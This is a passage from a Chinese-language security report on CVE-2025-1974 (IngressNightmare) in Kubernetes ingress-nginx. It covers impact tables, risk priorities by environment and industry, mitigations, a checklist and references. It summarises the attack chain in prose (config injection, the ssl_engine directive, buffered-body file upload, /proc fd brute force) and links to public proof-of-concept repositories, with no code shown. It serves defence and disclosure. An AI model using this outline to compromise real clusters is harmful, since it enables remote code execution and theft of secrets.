完整性影响:
| 受影响功能 | 影响等级 | 说明 |
|---|---|---|
| 流量路由 | 高 | 可劫持所有入站流量 |
| SSL/TLS 终止 | 高 | 可进行中间人攻击 |
| 认证/授权 | 高 | 可绕过安全控制 |
| 日志完整性 | 中 | 可删除/修改日志 |
可用性影响:
| 受影响服务 | 影响等级 | 说明 |
|---|---|---|
| Ingress 服务 | 严重 | 可导致所有外部访问中断 |
| 后端服务 | 高 | 通过流量劫持影响后端 |
| 监控告警 | 中 | 可破坏监控系统 |
场景1: 互联网暴露的生产环境
风险等级: 严重
优先级: P0 (立即修复)
理由:
- 攻击面大,可能已有攻击者在集群内
- 业务中断影响严重
- 数据泄露后果不可逆
场景2: 内网隔离的生产环境
风险等级: 高
优先级: P1 (7天内修复)
理由:
- 攻击面相对较小
- 仍需防范内部威胁
- 供应链攻击风险存在
场景3: 开发/测试环境
风险等级: 中
优先级: P2 (30天内修复)
理由:
- 可能包含生产数据副本
- 可作为跳板攻击生产环境
- 供应链攻击的试验场
场景4: 离线/空气隔离环境
风险等级: 低
优先级: P3 (计划内修复)
理由:
- 攻击面极小
- 内部威胁仍需考虑
- 定期安全更新的一部分
金融行业:
额外风险:
- 监管合规要求 (PCI-DSS, SOX)
- 交易数据泄露
- 金融欺诈风险
建议: P0 优先级,立即修复
医疗行业:
额外风险:
- HIPAA 合规要求
- 患者隐私数据泄露
- 医疗服务中断
建议: P0 优先级,立即修复
电商行业:
额外风险:
- 用户支付信息泄露
- 订单数据篡改
- 服务可用性影响收入
建议: P0-P1 优先级,尽快修复
政府/国防:
额外风险:
- 国家安全影响
- 机密信息泄露
- APT 攻击利用
建议: P0 优先级,紧急修复
即使应用所有缓解措施后,仍存在的风险:
零日变种风险
可能存在其他未发现的注入点
建议: 持续监控,及时更新
供应链风险
恶意容器镜像可能已在集群中
建议: 全面审计现有工作负载
内部威胁
具有 Pod 部署权限的用户仍可利用
建议: 强化 RBAC 和审计
配置漂移
防护措施可能被误操作移除
建议: 配置即代码,自动化合规检查
漏洞本质:
CVE-2025-1974 的核心是"不可信输入→可执行配置"与"验证即执行"的耦合。
这是一个设计缺陷和实现缺陷的组合,突显了 Kubernetes 生态系统中
准入控制器安全的系统性问题。
技术洞察:
配置注入漏洞可以通过多种路径实现 (auth-url, auth-tls-match-cn, mirror-uid)
ssl_engine 指令提供了从配置到代码执行的桥梁
nginx client body buffering 机制可被利用上传任意文件
/proc/PID/fd/FD 路径提供了访问已删除文件的途径
PID/FD 暴力破解是实用且高效的攻击技术
防御要点:
版本升级是最根本的解决方案 (v1.11.5 或 v1.12.1+)
网络隔离可有效降低攻击面
最小权限 RBAC 可限制后利用影响
运行时监控 (Falco/Sysdig) 是关键的检测手段
深度防御策略不可或缺
立即行动 (0-24小时):
识别所有使用 ingress-nginx 的集群
评估受影响版本
应用临时 NetworkPolicy 隔离
启用审计日志记录
部署 IoC 检测脚本
短期措施 (1-7天):
升级到安全版本
实施 RBAC 最小权限
部署运行时监控 (Falco)
执行 IoC 检测脚本
审查现有 Ingress 对象
长期加固 (持续):
建立漏洞管理流程
定期安全审计
实施零信任网络架构
容器镜像扫描与签名
安全培训与意识提升
Kubernetes 生态系统的教训:
准入控制器的信任问题
默认假设 admission webhook 是可信的
缺乏强制的认证和授权机制
社区需要标准化的安全框架
过度权限的普遍性
许多组件拥有超出实际需求的权限
cluster-wide Secret 读取权限应该是例外而非常规
需要推广最小权限原则
配置注入的攻击面
动态配置生成是常见的攻击面
需要统一的输入验证框架
模板引擎应提供自动转义
网络信任的假设
Pod 网络内部通信缺乏认证
服务网格 (Service Mesh) 的重要性
零信任架构应成为默认
Kubernetes 社区应考虑的改进:
准入控制器安全框架
为 admission webhook 提供统一的认证框架
强制 mTLS 和来源验证
标准化的输入验证库
CRD 字段验证机制
加强 CEL (Common Expression Language) 验证
内置的危险字符检测
自动化的上下文安全编码
Pod Security Admission 推广
默认启用 Pod Security Standards
限制容器的危险能力
运行时行为监控
运行时威胁检测能力
集成 eBPF 的原生监控
内置的异常行为检测
自动化的事件响应
CVE-2025-1974 的发现揭示了:
现代云原生架构的复杂性带来的安全挑战
传统安全假设在容器化环境中的失效
供应链安全的重要性和脆弱性
深度防御和零信任的必要性
对于安全研究人员:
关注组件间的信任边界
深入理解配置渲染和模板引擎
探索容器运行时的特殊行为
发现看似无害的功能组合的危险性
对于开发者:
设计时考虑安全性 (Security by Design)
实施严格的输入验证
避免"验证即执行"的模式
持续的安全测试和代码审计
对于运维人员:
建立快速响应机制
实施多层防御策略
持续监控和日志分析
定期的漏洞评估和修复
本漏洞的严重性要求所有使用 ingress-nginx 的组织立即采取行动:
优先级排序:
P0 (立即): 版本升级或禁用 Admission Webhook
P1 (24小时): 网络隔离和 RBAC 限制
P2 (7天): 运行时监控和审计日志
P3 (持续): 长期安全加固和流程优化
验证检查清单:
确认所有集群的 ingress-nginx 版本
升级到 v1.11.5 或 v1.12.1+
或临时禁用 Admission Webhook
部署 NetworkPolicy 隔离
限制 RBAC 权限到最小必要
部署 Falco 运行时监控
配置审计日志持久化
执行 IoC 检测脚本
审查现有 Ingress 对象
建立长期安全监控
Kubernetes 官方博客
https://kubernetes.io/blog/2025/03/24/ingress-nginx-cve-2025-1974/
Ingress-NGINX 安全更新说明
GitHub Security Advisory
https://github.com/advisories/GHSA-mgvx-rpfc-9mpv
CVE-2025-1974 详细信息和受影响版本
Ingress-NGINX Release Notes
https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5
https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1
修复版本发布说明
Wiz Research - IngressNightmare
https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
漏洞发现者的技术分析
Fortinet Threat Analysis
https://www.fortinet.com/blog/threat-research/ingressnightmare-understanding-cve-2025-1974-in-kubernetes-ingress-nginx
威胁研究与检测方法
ProjectDiscovery Technical Analysis
https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
深度技术分析和利用链
Datadog Security Analysis
CVE-2025-1974 检测与防护建议
Sysdig Threat Detection
Falco 规则与运行时监控策略
Esonhugh/ingressNightmare-CVE-2025-1974-exps
https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps
主要 PoC 实现 (Go)
sandumjacob/IngressNightmare-POCs
https://github.com/sandumjacob/IngressNightmare-POCs
替代 PoC 实现
hakaioffsec/IngressNightmare-PoC
https://github.com/hakaioffsec/IngressNightmare-PoC
教育用 PoC
CVE-2025-24514: auth-url 注入
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24514
CVE-2025-1097: auth-tls-match-cn 注入
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-1097
CVE-2025-1098: mirror UID 注入
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-1098
CVE-2025-24513: 相关配置注入
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24513
Kubernetes Admission Controllers
https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/
NGINX OpenSSL ENGINE
http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_engine
Falco Rules
https://falco.org/docs/rules/
NetworkPolicy 最佳实践
https://kubernetes.io/docs/concepts/services-networking/network-policies/
CWE-94: Improper Control of Generation of Code
https://cwe.mitre.org/data/definitions/94.html
CWE-653: Insufficient Compartmentalization
https://cwe.mitre.org/data/definitions/653.html
OWASP Kubernetes Security Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/Kubernetes_Security_Cheat_Sheet.html
本报告基于公开信息和安全研究编写,仅用于防御性安全研究和授权的安全测试。
未经授权使用本报告中的技术信息进行攻击活动是违法行为。